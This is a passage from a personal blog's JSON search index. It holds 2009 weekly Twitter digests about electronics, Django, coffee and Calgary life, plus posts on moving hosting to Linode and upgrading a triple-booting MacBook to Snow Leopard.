http://twitti.ms/yoFb #\n\\t- Out best recycling take yet - $71.36 http://twitti.ms/d9Ar #\n\\t- Twitter Weekly Updates for 2009-09-20 http://tinyurl.com/lwgp4t #\n\\t- Twitter Weekly Updates for 2009-09-20 http://tinyurl.com/kutmxq #\n","link":"https://dawning.ca/posts/twitter-weekly-updates-for-2009-09-27-2/","section":"posts","tags":["tweets","twitter","noise"],"title":"Twitter Weekly Updates for 2009-09-27"},{"body":"\\t- I feel like picard on the Stargazer. I\u0026rsquo;m using my old glasses as my main ones just bit it. Weird. #\n\\t- There, now this machine can do its job without offending ears http://twitti.ms/2spi #\n\\t- Like my P4 mod? It let me turn an acoustic nightmare into something beautiful http://twitti.ms/d2rq #\n\\t- Hard hackers unite, #Digilent has some awesome embedded systems for all #diy phreaks: http://bit.ly/45w2qM #\n\\t- I feel discriminated against.. #yyc http://twitti.ms/0oDp #\n\\t- Meh, that can be cured with old fashioned physical abuse, right? http://twitti.ms/tj16 #\n\\t- yay, stats http://twitti.ms/qdvY #\n\\t- My hairs have been cut http://twitti.ms/z3Rm #\n\\t- UofC Bookstore FTW #yyc http://twitti.ms/fFEG #\n\\t- Tim\u0026rsquo;s line-ups seem to indicate that they spike the coffee #yyc http://twitti.ms/yoFb #\n\\t- Out best recycling take yet - $71.36 http://twitti.ms/d9Ar #\n\\t- Twitter Weekly Updates for 2009-09-20 http://tinyurl.com/lwgp4t #\n\\t- Twitter Weekly Updates for 2009-09-20 http://tinyurl.com/kutmxq #\n","link":"https://dawning.ca/posts/twitter-weekly-updates-for-2009-09-27/","section":"posts","tags":["tweets","twitter","noise"],"title":"Twitter Weekly Updates for 2009-09-27"},{"body":"\\t- Slightly contradictory http://twitti.ms/A3CF #\n\\t- Before you go get vast amounts of plastic surgery, consider this freaky \u0026amp; true situation: http://bit.ly/ZCQJn #\n\\t- Our Koi aquarium has sprung an ygly leak, for now one of us has to manually keep the hole blocked http://twitti.ms/YH9K #\n\\t- I see the new #UofC school uniforms are out #yyc http://twitti.ms/5Q1e #\n\\t- Ugh, stayed up too late watching #Jerico - though it was reasonably awesome #\n\\t- 4Chan joke? Nice http://twitti.ms/BVWY #\n\\t- Being reminded of the awesomeness of transistors #yyc http://twitti.ms/HVOk #\n\\t- Our new Koi #fish, waiting to go in to thier home http://twitti.ms/keW1 #\n\\t- This is a leaf fish http://twitti.ms/0zsW #\n\\t- Return to Spyhill Landfill #yyc - VERY busy today http://twitti.ms/Lv1N #\n\\t- Webserver replaced, again.. http://tinyurl.com/p2xn8t #\n\\t- Twitter Weekly Updates for 2009-09-13 http://tinyurl.com/qoo3qg #\n","link":"https://dawning.ca/posts/twitter-weekly-updates-for-2009-09-20/","section":"posts","tags":["tweets","twitter","noise"],"title":"Twitter Weekly Updates for 2009-09-20"},{"body":"","link":"https://dawning.ca/tags/hosting/","section":"tags","tags":null,"title":"Hosting"},{"body":"","link":"https://dawning.ca/tags/isp/","section":"tags","tags":null,"title":"Isp"},{"body":"","link":"https://dawning.ca/tags/linode/","section":"tags","tags":null,"title":"Linode"},{"body":"","link":"https://dawning.ca/tags/shaw/","section":"tags","tags":null,"title":"Shaw"},{"body":"","link":"https://dawning.ca/tags/slow/","section":"tags","tags":null,"title":"Slow"},{"body":"Howdy, so I\u0026rsquo;ve returned to hosting my site on a professional connection rather than over my lameo home setup. I\u0026rsquo;ve grown tired of n00bful downtime due to power outages, ISP outages, people tripping over cables or gnomes screwin around.\nAs such, dawning.ca is now hosted on a server I\u0026rsquo;ve got running down in Texas with the valuable help of Linode. That\u0026rsquo;s all for now folks.\nUpdate I ran in to some interesting configuration problems with this new server that was causing it to frequently run out of memory. I think I\u0026rsquo;ve resolved those matters with some real help of this article.\n","link":"https://dawning.ca/posts/webserver-replaced-again/","section":"posts","tags":["apache","power","linode","server","hosting","isp","shaw","slow"],"title":"Webserver replaced, again.."},{"body":"\\t- Mmmm, massively discounted meat #yyc #safeway http://twitti.ms/LGan #\n\\t- I just heard a mother scold her kid for saying \u0026ldquo;hate\u0026rdquo; too often. Neat. #\n\\t- RT @NathanFillion: The best $1.49 I ever spent was on DO YOU WANT TO DATE MY AVATAR. Yet another\u0026hellip; reason to worship @FeliciaDay. #\n\\t- I have secured MOSFETs for my biggie-sized #HypnoOrb I\u0026rsquo;m making http://twitti.ms/NZLf #\n\\t- The #Den at #UofC asked me to take my #IcedCapp outside, jerks #yyc http://twitti.ms/EPzS #\n\\t- Getting lectured in stats for elec engg geeks http://twitti.ms/wFdn #\n\\t- Happy 09/09/09 - now, we just have to hit 9pm @ the 9th minute and the 9th second. #\n\\t- How I freakin hate bureaucracies.. Always comes down to doing foot work for an institution that you already pay heavily for #\n\\t- Twitter Weekly Updates for 2009-09-07 http://tinyurl.com/mf5sp8 #\n\\t- Twitter Weekly Updates for 2009-09-07 http://tinyurl.com/ljt5k9 #\n","link":"https://dawning.ca/posts/twitter-weekly-updates-for-2009-09-13-2/","section":"posts","tags":["tweets","twitter","noise"],"title":"Twitter Weekly Updates for 2009-09-13"},{"body":"\\t- Mmmm, massively discounted meat #yyc #safeway http://twitti.ms/LGan #\n\\t- I just heard a mother scold her kid for saying \u0026ldquo;hate\u0026rdquo; too often. Neat. #\n\\t- RT @NathanFillion: The best $1.49 I ever spent was on DO YOU WANT TO DATE MY AVATAR. Yet another\u0026hellip; reason to worship @FeliciaDay. #\n\\t- I have secured MOSFETs for my biggie-sized #HypnoOrb I\u0026rsquo;m making http://twitti.ms/NZLf #\n\\t- The #Den at #UofC asked me to take my #IcedCapp outside, jerks #yyc http://twitti.ms/EPzS #\n\\t- Getting lectured in stats for elec engg geeks http://twitti.ms/wFdn #\n\\t- Happy 09/09/09 - now, we just have to hit 9pm @ the 9th minute and the 9th second. #\n\\t- How I freakin hate bureaucracies.. Always comes down to doing foot work for an institution that you already pay heavily for #\n\\t- Twitter Weekly Updates for 2009-09-07 http://tinyurl.com/mf5sp8 #\n\\t- Twitter Weekly Updates for 2009-09-07 http://tinyurl.com/ljt5k9 #\n","link":"https://dawning.ca/posts/twitter-weekly-updates-for-2009-09-13/","section":"posts","tags":["tweets","twitter","noise"],"title":"Twitter Weekly Updates for 2009-09-13"},{"body":"\\t- Huh, there\u0026rsquo;s a 0.7V drop from the outlet to this bar http://twitti.ms/9OCr #\n\\t- Playin with my new multimeter in the car http://twitti.ms/5BcR #\n\\t- According to my new multimeter, Paulrip could get a job as a 770KOhm resistor #\n\\t- Whoa, gettin very windy by U of C #yyc #\n\\t- I just added this handy #ajax / #javascript code to a site I\u0026rsquo;m doing to get nice expand/collapse functionality: http://bit.ly/6cmU #\n\\t- Nice Ajax code for page folding: http://bit.ly/2lzAyN #\n\\t- Neato, this will come in handy later - #Django code for Active Directory authentication: http://bit.ly/hMHYZ #\n\\t- Mmmmm consciousness in a cup, hello day! http://twitti.ms/UM6Q #\n\\t- Snow Leopard Upgrade on a Triple Booting Macbook http://tinyurl.com/muhlwy #\n\\t- Upgrading my Mac Pro to Snow Leopard. Hope it keeps my RAID in tact! http://twitti.ms/ATtN #\n\\t- Ugh, thx for the core dump #gentoo, so \u0026ldquo;helpful\u0026rdquo; http://twitti.ms/RdKD #\n\\t- Sweet, gmail is back (at least for me) #\n\\t- For those needing fast access to #gmail, you can use a mail client like #thunderbird if necessary: http://bit.ly/2zxpYm #\n\\t- Waah, I switched from my OWN mail server to gmail to have 100% update, maybe it\u0026rsquo;s time to break out my own rig again #\n\\t- Lol, \u0026ldquo;terrible\u0026rdquo; comic: http://bit.ly/QA9LT #\n\\t- How does the number of ppl I follow on #twitter increase when I haven\u0026rsquo;t clicked \u0026ldquo;follow\u0026rdquo; in weeks? #\n\\t- I\u0026rsquo;m looking for low-end VPS hosting, I found this: http://bit.ly/151qck $8/mth - anyone know better options? #\n\\t- Feeling rather tempted to setup a new Linode #\n\\t- Twitter Weekly Updates for 2009-08-30 http://tinyurl.com/lptbz3 #\n","link":"https://dawning.ca/posts/twitter-weekly-updates-for-2009-09-07/","section":"posts","tags":["tweets","twitter","noise"],"title":"Twitter Weekly Updates for 2009-09-07"},{"body":"","link":"https://dawning.ca/tags/10.5/","section":"tags","tags":null,"title":"10.5"},{"body":"","link":"https://dawning.ca/tags/10.6/","section":"tags","tags":null,"title":"10.6"},{"body":"","link":"https://dawning.ca/tags/family-pack/","section":"tags","tags":null,"title":"Family Pack"},{"body":"","link":"https://dawning.ca/tags/gparted/","section":"tags","tags":null,"title":"Gparted"},{"body":"","link":"https://dawning.ca/tags/leopard/","section":"tags","tags":null,"title":"Leopard"},{"body":" Howdy World, so last friday was release day for Snow Leopard, woot! I went out and grabbed a copy and rushed home to upgrade my macbook\u0026hellip; Here\u0026rsquo;s the tale of a bit of resistance I met and how I resolved it.\nYellow Triangle of Rejection So the problem I quickly encountered was that my \u0026ldquo;Macintosh HD\u0026rdquo; partition had an ugly little yellow symbol over it rejecting me from updating my OS X install. I forget (unfortunately), the particular error message. Nevertheless the short version was that regardless of how I launched the installer or a number of other things I tried, it wouldn\u0026rsquo;t let me run the upgrade.\nQuest Accepted Well, I wasn\u0026rsquo;t about to settle for reformatting - though that is a decent option. I decided to \u0026lsquo;be a man\u0026rsquo; and directly address my challenger.\nI tried calling Apple support, but they were closed, as was it was late at night. I googled around and found someone\u0026rsquo;s suggestion that for those who had changed their partitioning scheme around could just get Disk Utility to resize their target partition. The idea here was that when using a tool like gparted (which I adore) to change around your partition scheme, it\u0026rsquo;s easy to emerge with a working structure that\u0026rsquo;ll cause the OS X installer to consider an otherwise perfectly healthly partitioning scheme unusable for installation.\n\u0026ldquo;Fixing\u0026rdquo; my OS X partition So the best help I found online was suggesting to resize partitions with the Disk Utility (which as of Snow Leopard has an option for doing that). But for me, that didn\u0026rsquo;t work, I got some lame error messages that I can\u0026rsquo;t recall.\nThe way I did the resize was with the command-line version of Disk Utility - \u0026lsquo;diskutil\u0026rsquo;.\nIn my caption there, you can see me make a call to diskutil list to show my partitions. As you can see, I\u0026rsquo;ve got 6 partitions on my drive. You can see on the second line a call to resize my OS X partition. All I did to get the Snow Leopard installer to play nice was decrease the size of that partition slightly. I\u0026rsquo;m sure after the install I could just as easily increase the size too.\nAfter this it was smooth sailing. The upgrade went as expected, my data was all there and happy and so on.\nUpgrading my Mac Pro Several days later, I decided to upgrade my Mac Pro as well. What concerned me about this is that on that machine I setup Leopard to live across a 3 hard drive RAID. I wasn\u0026rsquo;t sure if the upgrade would have been able to accomodate that configuration.\nWell, I did the upgrade and it went well, only thing to report there was that when I tried to run the installer from inside Leopard, it didn\u0026rsquo;t list my RAID volume. It only showed it when I rebooted off of the Snow Leopard DVD. Other than that, it was very simple.\nAfterthoughts So far I\u0026rsquo;m really liking Snow Leopard. As Apple has said, it\u0026rsquo;s not a redesign. So the learning curve isn\u0026rsquo;t really present, especially if you\u0026rsquo;re a Leopard user. This is in my mind a massive set of regular improvements bundled with some minor changes to the UI workflow and the introduction of some new libraries that I suspect won\u0026rsquo;t really matter for awhile yet. I love the $30 price tag and we\u0026rsquo;ll see if the 8 cores in my Mac Pro show better overall use, though I think that\u0026rsquo;ll probably require some additional application side support.\nIf you\u0026rsquo;re thinking of upgrading, go for it. It\u0026rsquo;s inexpensive and gives you access to some sweet new features. If you want a glossy list of the details, go look at Apple\u0026rsquo;s page on Snow Leopard here.\n","link":"https://dawning.ca/posts/snow-leopard-upgrade/","section":"posts","tags":["mac pro","mac","macbook","apple","upgrade","OSX","snow leopard","gparted","10.6","10.5","tiger","leopard","family pack","thoughts"],"title":"Snow Leopard Upgrade on a Triple Booting Macbook"},{"body":"","link":"https://dawning.ca/tags/thoughts/","section":"tags","tags":null,"title":"Thoughts"},{"body":"","link":"https://dawning.ca/tags/tiger/","section":"tags","tags":null,"title":"Tiger"},{"body":"\\t- Enjoyin marshmellows with family http://twitti.ms/cHJK #\n\\t- Look who just walked past me #insect http://twitti.ms/429E #\n\\t- Having a tough time installing Snow Leopard. I bet OS X is sad to also see Windows and Linux on my HDD #\n\\t- Nice kitty #yyc #osx http://twitti.ms/rVJD #\n\\t- Support IE6 Must Die, add a #twibbon to your avatar now! - http://twibbon.com/join/IE6-Must-Die #\n\\t- http://twitpic.com/fm780 - Some have called the use of HTML tables in to question, in fact, many have. I suppose yes, I could have rende \u0026hellip; #\n\\t- Happy Snow Leopard day world! I\u0026rsquo;m getting my copy after work! #\n\\t- The #yyc #Apple store will have shiney fresh copies of OSX 10.6 Snow Leopard on sale tomorrow. SWEET. #\n\\t- To reiterate: LATENCY is the new Bandwidth #\n\\t- Ugh twitter spam fail #\n\\t- #html question: Making a calendar web app, should I render it with a table or a set of divs? #\n\\t- HAh! Hilarious @theguild video, @feliciaday, you\u0026rsquo;re awesome! http://bit.ly/2qudF6 #mmo #youtube #\n\\t- Making on a #django course scheduling system. Finished conflict detection, now to nail down various views. #Python FTW! #\n\\t- This wolf t-shirt can make you a rock star. Hilarious comments! http://bit.ly/16E6qC thx @Ioannes #\n\\t- Super cheap (probably good for one use) Soldering Iron: http://tinyurl.com/m69zwk #\n\\t- Finally ordered a good multimeter. #Sparkfun has an awesome autoranging one $60USD http://bit.ly/HLrKH #\n\\t- \u0026ldquo;Regular Expressions\u0026rdquo; should be a revered grade school discipline. Society could subsequently enter a golden era #\n\\t- DVDFlick looks like a good #opensource dvd #windows authoring tool, do you use it? http://bit.ly/3C4OOG #\n\\t- It\u0026rsquo;s remarkable how often #Subway doesn\u0026rsquo;t have Honey Oat Bread \u0026amp; how \u0026lsquo;a tiny bit\u0026rsquo; often equates to \u0026lsquo;drowning\u0026rsquo; #\n\\t- Ohh man, am I ever ridiculously tired today. I had FAR too much caffeine this weekend. #\n\\t- someone\u0026rsquo;s BatMobile #yyc http://twitti.ms/WmK6 #\n\\t- I guess this is positive PR, but what a harsh mug http://twitti.ms/zyNW #\n\\t- Twitter Weekly Updates for 2009-08-23 http://tinyurl.com/mjvhpy #\n","link":"https://dawning.ca/posts/twitter-weekly-updates-for-2009-08-30-2/","section":"posts","tags":["tweets","twitter","noise"],"title":"Twitter Weekly Updates for 2009-08-30"},{"body":"\\t- Enjoyin marshmellows with family http://twitti.ms/cHJK #\n\\t- Look who just walked past me #insect http://twitti.ms/429E #\n\\t- Having a tough time installing Snow Leopard. I bet OS X is sad to also see Windows and Linux on my HDD #\n\\t- Nice kitty #yyc #osx http://twitti.ms/rVJD #\n\\t- Support IE6 Must Die, add a #twibbon to your avatar now! - http://twibbon.com/join/IE6-Must-Die #\n\\t- http://twitpic.com/fm780 - Some have called the use of HTML tables in to question, in fact, many have. I suppose yes, I could have rende \u0026hellip; #\n\\t- Happy Snow Leopard day world! I\u0026rsquo;m getting my copy after work! #\n\\t- The #yyc #Apple store will have shiney fresh copies of OSX 10.6 Snow Leopard on sale tomorrow. SWEET. #\n\\t- To reiterate: LATENCY is the new Bandwidth #\n\\t- Ugh twitter spam fail #\n\\t- #html question: Making a calendar web app, should I render it with a table or a set of divs? #\n\\t- HAh! Hilarious @theguild video, @feliciaday, you\u0026rsquo;re awesome! http://bit.ly/2qudF6 #mmo #youtube #\n\\t- Making on a #django course scheduling system. Finished conflict detection, now to nail down various views. #Python FTW! #\n\\t- This wolf t-shirt can make you a rock star. Hilarious comments! http://bit.ly/16E6qC thx @Ioannes #\n\\t- Super cheap (probably good for one use) Soldering Iron: http://tinyurl.com/m69zwk #\n\\t- Finally ordered a good multimeter. #Sparkfun has an awesome autoranging one $60USD http://bit.ly/HLrKH #\n\\t- \u0026ldquo;Regular Expressions\u0026rdquo; should be a revered grade school discipline. Society could subsequently enter a golden era #\n\\t- DVDFlick looks like a good #opensource dvd #windows authoring tool, do you use it? http://bit.ly/3C4OOG #\n\\t- It\u0026rsquo;s remarkable how often #Subway doesn\u0026rsquo;t have Honey Oat Bread \u0026amp; how \u0026lsquo;a tiny bit\u0026rsquo; often equates to \u0026lsquo;drowning\u0026rsquo; #\n\\t- Ohh man, am I ever ridiculously tired today. I had FAR too much caffeine this weekend. #\n\\t- someone\u0026rsquo;s BatMobile #yyc http://twitti.ms/WmK6 #\n\\t- I guess this is positive PR, but what a harsh mug http://twitti.ms/zyNW #\n\\t- Twitter Weekly Updates for 2009-08-23 http://tinyurl.com/mjvhpy #\n","link":"https://dawning.ca/posts/twitter-weekly-updates-for-2009-08-30/","section":"posts","tags":["tweets","twitter","noise"],"title":"Twitter Weekly Updates for 2009-08-30"},{"body":"\\t- RT @SarahKSilverman: Carrots are good for your eyes but only if you take them orally. #\n\\t- Still wet, greenified wall http://twitti.ms/nMhq #\n\\t- repaint our hang out room in the basement #yyc http://twitti.ms/sdzB #\n\\t- kinda cool, EB Games has used 360\u0026rsquo;s for $120 #yyc http://twitti.ms/9PI2 #\n\\t- This weekend we\u0026rsquo;re completely rearranging our basement. That\u0026rsquo;s a massive undertaking.. Cool, but ugh.. #\n\\t- RARELY I\u0026rsquo;ll get 10 hours in to a game like tonight. As usual, #Vista killed my game to force an update \u0026amp; reboot. #\n\\t- huh? Is this restaurant pushin drinkin in earthquakes? #yyc http://twitti.ms/fWJM #\n\\t- Wall of awesome in Market Mall #yyc http://twitti.ms/bZjy #\n\\t- Poor little bonsai, silly Home Depot, don\u0026rsquo;t you know these little juniper type ones die in #yyc http://twitti.ms/UAIb #\n\\t- Next time I need to tap my personal afterburner, I\u0026rsquo;ll pop one of these #thinkgeek pots: http://bit.ly/Ty2Hm #\n\\t- My new fav website: http://www.liquidware.com Right up there with #sparkfun in my books. #\n\\t- Want to stop eating out? Health code violations may help, check ur fav #yyc restaurant: http://bit.ly/qnwG #\n\\t- Whoa, that bag of chips just murdered my energy level.. Note to self, junk food still sucks. #\n\\t- Speaking of #ssh, here\u0026rsquo;s a #bash script to keep an ssh tunnel \u0026amp; Reverse Proxy live: http://bit.ly/zy6R8 #\n\\t- I love #ssh so much. I\u0026rsquo;ve used it for over a decade, it\u0026rsquo;s a bottomless rabbit hole of awesome #\n\\t- Attention #yyc, you may save on your water bills by taking Free Showers, just step out your door. #\n\\t- Well, I think I\u0026rsquo;ve slayed the event calendar conflict detection demon. Now I need to take down the event calendar view generator dragon #\n\\t- I\u0026rsquo;m making an event calendar tool in #Django, all the hard stuff is given, still, recurring events \u0026amp; conflict detection hurts #\n\\t- I wish shaving was THIS much fun for me http://twitti.ms/uRY2 #\n\\t- Twitter Weekly Updates for 2009-08-16 http://tinyurl.com/my7hf5 #\n","link":"https://dawning.ca/posts/twitter-weekly-updates-for-2009-08-23-2/","section":"posts","tags":["tweets","twitter","noise"],"title":"Twitter Weekly Updates for 2009-08-23"},{"body":"\\t- RT @SarahKSilverman: Carrots are good for your eyes but only if you take them orally. #\n\\t- Still wet, greenified wall http://twitti.ms/nMhq #\n\\t- repaint our hang out room in the basement #yyc http://twitti.ms/sdzB #\n\\t- kinda cool, EB Games has used 360\u0026rsquo;s for $120 #yyc http://twitti.ms/9PI2 #\n\\t- This weekend we\u0026rsquo;re completely rearranging our basement. That\u0026rsquo;s a massive undertaking.. Cool, but ugh.. #\n\\t- RARELY I\u0026rsquo;ll get 10 hours in to a game like tonight. As usual, #Vista killed my game to force an update \u0026amp; reboot. #\n\\t- huh? Is this restaurant pushin drinkin in earthquakes? #yyc http://twitti.ms/fWJM #\n\\t- Wall of awesome in Market Mall #yyc http://twitti.ms/bZjy #\n\\t- Poor little bonsai, silly Home Depot, don\u0026rsquo;t you know these little juniper type ones die in #yyc http://twitti.ms/UAIb #\n\\t- Next time I need to tap my personal afterburner, I\u0026rsquo;ll pop one of these #thinkgeek pots: http://bit.ly/Ty2Hm #\n\\t- My new fav website: http://www.liquidware.com Right up there with #sparkfun in my books. #\n\\t- Want to stop eating out? Health code violations may help, check ur fav #yyc restaurant: http://bit.ly/qnwG #\n\\t- Whoa, that bag of chips just murdered my energy level.. Note to self, junk food still sucks. #\n\\t- Speaking of #ssh, here\u0026rsquo;s a #bash script to keep an ssh tunnel \u0026amp; Reverse Proxy live: http://bit.ly/zy6R8 #\n\\t- I love #ssh so much. I\u0026rsquo;ve used it for over a decade, it\u0026rsquo;s a bottomless rabbit hole of awesome #\n\\t- Attention #yyc, you may save on your water bills by taking Free Showers, just step out your door. #\n\\t- Well, I think I\u0026rsquo;ve slayed the event calendar conflict detection demon. Now I need to take down the event calendar view generator dragon #\n\\t- I\u0026rsquo;m making an event calendar tool in #Django, all the hard stuff is given, still, recurring events \u0026amp; conflict detection hurts #\n\\t- I wish shaving was THIS much fun for me http://twitti.ms/uRY2 #\n\\t- Twitter Weekly Updates for 2009-08-16 http://tinyurl.com/my7hf5 #\n","link":"https://dawning.ca/posts/twitter-weekly-updates-for-2009-08-23/","section":"posts","tags":["tweets","twitter","noise"],"title":"Twitter Weekly Updates for 2009-08-23"},{"body":"\\t- Garage Band can make #iphone ringtones from your own files, despite #itunes stating you must buy each one #\n\\t- http://twitpic.com/e22ln - #Apple, stopping me from using my own recordings as #iphone ringtones makes me hate you. #\n\\t- I so want a remotely okay Multimeter: http://bit.ly/HLrKH #\n\\t- Another #google service I\u0026rsquo;ve just found, Google Checkout - I might use this over Paypal? https://checkout.google.com/ #\n\\t- Google Base looks to me almost like a rip on Craig\u0026rsquo;s List or something: http://bit.ly/11Zzpt #\n\\t- My Twitter personality: likeable inquisitive cautious My style: chatty academic ROBOT http://twanalyst.com/docdawning #twanalyst #\n\\t- Lately I\u0026rsquo;ve felt like returning to political stuff.. I formerly went to conventions (etc), perhaps I will again #politics #yyc #\n\\t- Testing FlickrSendr http://twitti.ms/Hbqk #\n\\t- Reinfocing my bath experience with Magnesium Sulphate\u0026hellip; Mmmm, salty #\n\\t- engaged in Django educatonal combat http://twitti.ms/0Zme #\n\\t- Wholy crud, 8 people have downloaded STP today, that\u0026rsquo;s like 7.9x what I usually get.. #shit-talker #osx #apple http://bit.ly/14IXwk #\n\\t- Listening to #\u0026ldquo;Suns of Arqa\u0026rdquo; fantastic music to work to. #coding #\n\\t- City of Calgary Secrets? http://tinyurl.com/nc88qg #\n\\t- yum yum http://twitti.ms/vu4H #\n\\t- Continuing my dive in to #django. Such a neat approach. Parts seem alien to me, but it all feels fantastic. #\n\\t- Coolest #yyc garbage can http://twitpic.com/dklly #\n\\t- My bud\u0026rsquo;s been randomly contacted by ~5 disjoint past significant others recently. Trippy. #life #\n\\t- Ugh, freakin ancient Dot Net Nuke Woes - glad we\u0026rsquo;re moving away from this stuff, but until that process is entirely complete\u0026hellip; I sigh #\n\\t- Dear Douche Trying to Break In to my Website http://post.ly/27c6 #\n\\t- Ugh, someone\u0026rsquo;s trying to break in to my website. Go find something better to do ya douche.. #\n\\t- Neato, Check out the #AVR Stick. A little #USB logger, very similar family to #Arduino: http://bit.ly/17YndC #\n\\t- Feelin like I\u0026rsquo;m losing Anti-Matter containment with my #Django bubble.. Bah, I\u0026rsquo;ll slay this.. #\n\\t- Damn, have a fat $80 in roaming voice charges from #toorcamp produced by 53mins of phone usage. Thanks #Rogers \u0026amp; #At\u0026amp;T #\n\\t- I\u0026rsquo;m still a baby with #Django, but I feel like I\u0026rsquo;m approaching the warp-barrier, if you all get my drift. #python #\n\\t- Fatman and Circuit Girl Awesome ustream starting now http://www.fatmanandcircuitgirl.com/live/ #\n\\t- Look, our fish are alive.. http://twitpic.com/dc33d #yyc #fish #pets #\n\\t- Kittens make excellent snacks http://twitpic.com/dazoy #\n\\t- Havin a coffee on the deck http://twitpic.com/daddq #yyc #\n\\t- Twitter Weekly Updates for 2009-08-09 http://tinyurl.com/l9rn49 #\n","link":"https://dawning.ca/posts/twitter-weekly-updates-for-2009-08-16/","section":"posts","tags":["tweets","twitter","noise"],"title":"Twitter Weekly Updates for 2009-08-16"},{"body":"\\t- Garage Band can make #iphone ringtones from your own files, despite #itunes stating you must buy each one #\n\\t- http://twitpic.com/e22ln - #Apple, stopping me from using my own recordings as #iphone ringtones makes me hate you. #\n\\t- I so want a remotely okay Multimeter: http://bit.ly/HLrKH #\n\\t- Another #google service I\u0026rsquo;ve just found, Google Checkout - I might use this over Paypal? https://checkout.google.com/ #\n\\t- Google Base looks to me almost like a rip on Craig\u0026rsquo;s List or something: http://bit.ly/11Zzpt #\n\\t- My Twitter personality: likeable inquisitive cautious My style: chatty academic ROBOT http://twanalyst.com/docdawning #twanalyst #\n\\t- Lately I\u0026rsquo;ve felt like returning to political stuff.. I formerly went to conventions (etc), perhaps I will again #politics #yyc #\n\\t- Testing FlickrSendr http://twitti.ms/Hbqk #\n\\t- Reinfocing my bath experience with Magnesium Sulphate\u0026hellip; Mmmm, salty #\n\\t- engaged in Django educatonal combat http://twitti.ms/0Zme #\n\\t- Wholy crud, 8 people have downloaded STP today, that\u0026rsquo;s like 7.9x what I usually get.. #shit-talker #osx #apple http://bit.ly/14IXwk #\n\\t- Listening to #\u0026ldquo;Suns of Arqa\u0026rdquo; fantastic music to work to. #coding #\n\\t- City of Calgary Secrets? http://tinyurl.com/nc88qg #\n\\t- yum yum http://twitti.ms/vu4H #\n\\t- Continuing my dive in to #django. Such a neat approach. Parts seem alien to me, but it all feels fantastic. #\n\\t- Coolest #yyc garbage can http://twitpic.com/dklly #\n\\t- My bud\u0026rsquo;s been randomly contacted by ~5 disjoint past significant others recently. Trippy. #life #\n\\t- Ugh, freakin ancient Dot Net Nuke Woes - glad we\u0026rsquo;re moving away from this stuff, but until that process is entirely complete\u0026hellip; I sigh #\n\\t- Dear Douche Trying to Break In to my Website http://post.ly/27c6 #\n\\t- Ugh, someone\u0026rsquo;s trying to break in to my website. Go find something better to do ya douche.. #\n\\t- Neato, Check out the #AVR Stick. A little #USB logger, very similar family to #Arduino: http://bit.ly/17YndC #\n\\t- Feelin like I\u0026rsquo;m losing Anti-Matter containment with my #Django bubble.. Bah, I\u0026rsquo;ll slay this.. #\n\\t- Damn, have a fat $80 in roaming voice charges from #toorcamp produced by 53mins of phone usage. Thanks #Rogers \u0026amp; #At\u0026amp;T #\n\\t- I\u0026rsquo;m still a baby with #Django, but I feel like I\u0026rsquo;m approaching the warp-barrier, if you all get my drift. #python #\n\\t- Fatman and Circuit Girl Awesome ustream starting now http://www.fatmanandcircuitgirl.com/live/ #\n\\t- Look, our fish are alive.. http://twitpic.com/dc33d #yyc #fish #pets #\n\\t- Kittens make excellent snacks http://twitpic.com/dazoy #\n\\t- Havin a coffee on the deck http://twitpic.com/daddq #yyc #\n\\t- Twitter Weekly Updates for 2009-08-09 http://tinyurl.com/l9rn49 #\n","link":"https://dawning.ca/posts/twitter-weekly-updates-for-2009-08-16-2/","section":"posts","tags":["tweets","twitter","noise"],"title":"Twitter Weekly Updates for 2009-08-16"},{"body":"\\t- I love coffee so friggin\u0026rsquo; much! #\n\\t- Golden Boy Fish Sauce http://twitpic.com/d8oze #ftw #hilarious #\n\\t- Goram football games suck for those who live near stadiums #yyc #\n\\t- Wow, what a beautiful scene: http://tr.im/w25G #flickr #photography #earth #\n\\t- [URL Fixed!] PCB Etching Progress http://tinyurl.com/llg4la #diy #protospace #backyard-chemistry #\n\\t- PCB Etching Progress http://tinyurl.com/llg4la #\n\\t- #Apple - please change the home/end/page up/page down functionality of OS X. The case-by-case basis currently used is bafflingly hindering #\n\\t- RT @NoxDineen: Potential for awesome is off the charts! RT @zemote: Ice-T repairs a mac - ROFL http://bit.ly/yDU1w #wtf #apple #macbook #\n\\t- Takin my rxn products (CuCl, FeCl, etc) of PCB etching to the firehall for disposal #protospace #backyard-chemistry http://twitpic.com/d2sid #\n\\t- STP Replugged - Who would you call? #osx #software #free \\t#speech-synthesis http://post.ly/1xaa #\n\\t- Awesome WP File download tracking plugin: http://tr.im/vNfC \\t#wordpress http://post.ly/1xYX #\n\\t- Great #Arduino Starter Kit by #Sparkfun: http://tr.im/vMyJ #\n\\t- I wish I had about 48 additional hours in my day, I\u0026rsquo;d spend half of that sleeping #\n\\t- Crikies! This is the freaky lore of nightmeres: http://twitpic.com/cxh95 #walmart #scary #wtf #\n\\t- FAIL: Getting closer to the process working, but not there yet.. http://twitpic.com/cxddm #\n\\t- Trying to make PCBs again http://twitpic.com/cxbrb #\n\\t- Trippy, just saw a completely different Twitter login screen.. #\n\\t- For the many of you who don\u0026rsquo;t wash your hands after EVERY trip to the washroom: \u0026ldquo;WTF!? You all make me sick\u0026rdquo; #\n\\t- Is it time for a fork of OpenOffice? Maybe so: http://tr.im/vDdi #\n\\t- Whoa Posterous FTW! http://tinyurl.com/l296bs #\n\\t- The Logo of Doc http://post.ly/1v9z #\n\\t- Bluegrass Music Owns http://tinyurl.com/kk5xkc I just wrote up a post on these festivals I keep going to and why they raise the musical bar #\n\\t- Bluegrass Music Owns http://tinyurl.com/kk5xkc #\n\\t- RT @feliciaday Felicia Fails the hashtag, haha. Use #emmysfail Restore the writing awards! http://bit.ly/iOueN #\n\\t- #yyc I love this moisture sooo much! It feels life inducing. It\u0026rsquo;s candy/health food for my lungs! #\n\\t- RT @cheeky_geeky Barack Obama faces 30 death threats a day, stretching U.S. Secret Service - http://bit.ly/1pKQj1 #\n\\t- Currently ironing another soon-to-be PCB http://twitpic.com/cszb0 #hardhacking #protospace #diy #backyard-chemistry #\n\\t- Want to launch your own satellite? Got ~$8K? http://tr.im/vu95 \u0026ldquo;Holy Coke-Bunnies Batman!\u0026rdquo; #space #diy #\n\\t- The part I consistently hate about replacing ppls sites is that I always find so much go\u0026rsquo;ram text content bleeding for a rewrite. #wordpress #\n\\t- RT @pgoss Firefox: One Billion and Counting http://bit.ly/oK5nx #\n\\t- RT @NeilGilbert Awesome Craigslist ad: http://tinyurl.com/mqm4bv #\n\\t- Ripping out yet another #wordpress site. The Atahualpa theme is so freakin awesome, it\u0026rsquo;s template crack: http://tr.im/vtjg 